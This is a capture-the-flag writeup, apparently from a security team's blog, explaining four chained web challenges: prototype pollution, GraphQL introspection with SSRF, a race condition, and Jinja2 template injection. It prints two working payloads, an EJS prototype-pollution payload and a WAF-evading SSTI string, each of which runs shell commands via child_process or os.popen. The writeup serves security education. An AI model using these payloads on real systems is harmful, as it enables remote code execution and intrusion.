Our team recently competed in the DefCon CTF qualifier, and the web exploitation challenges this year were some of the most creative we have encountered. This writeup covers our approach to four challenges that required chaining multiple vulnerability classes together for successful exploitation.
Challenge 1: Prototype Pollution to RCE
The first challenge presented a Node.js application with a seemingly harmless JSON merge utility. The vulnerability lay in a recursive object merge function that did not sanitize keys, allowing us to modify the Object prototype.
Discovery
We started with source code review and identified the merge function:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
The key insight was that this function does not filter __proto__ or constructor.prototype, making it vulnerable to prototype pollution.
Exploitation
We crafted a payload that polluted the Object prototype with properties used by the templating engine (EJS in this case), achieving command execution:
{
"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('cat /flag');s"
}
}
Challenge 2: GraphQL Introspection Attack
This challenge featured a GraphQL API that had disabled the standard introspection query but left several alternative paths open.
We discovered that while __schema was blocked, the __type introspection field was still accessible. By enumerating common type names, we reconstructed the schema and found a hidden adminQuery type with a getFlag field that required an internal API token.
The token was exposed through a Server-Side Request Forgery (SSRF) vulnerability in the application's URL preview feature, which allowed us to query the internal metadata endpoint.
Challenge 3: Race Condition in Token Verification
Perhaps the most elegant challenge involved a banking application with a time-of-check to time-of-use (TOCTOU) vulnerability. The application checked if a user had sufficient balance, then in a separate database transaction, performed the transfer.
By sending concurrent requests (we used around 50 parallel threads), we were able to spend the same balance multiple times before the deduction was committed, accumulating enough virtual currency to purchase the flag from the in-app store.
Challenge 4: SSTI with WAF Bypass
The final web challenge featured a Jinja2 Server-Side Template Injection vulnerability protected by a Web Application Firewall that blocked common SSTI payloads. The WAF filtered keywords like config, class, subclasses, and popen.
Our bypass used Unicode normalization and string concatenation to evade the WAF:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /flag')|attr('read')()}}
Key Takeaways
- Chain vulnerabilities: Modern CTFs rarely have single-step exploits. The real skill is identifying how multiple weaknesses combine.
- Know your frameworks: Understanding how Node.js, Python Flask/Django, and PHP handle input is essential for finding bugs.
- Race conditions are underrated: Many developers assume database operations are atomic when they are not.
- WAF bypass is an art: There are always creative ways around filters. Unicode normalization, encoding tricks, and alternative syntax are your friends.
Want to sharpen your web exploitation skills? Check out our free security tools and learning resources.
Enjoyed this article?
Subscribe for more insights delivered to your inbox.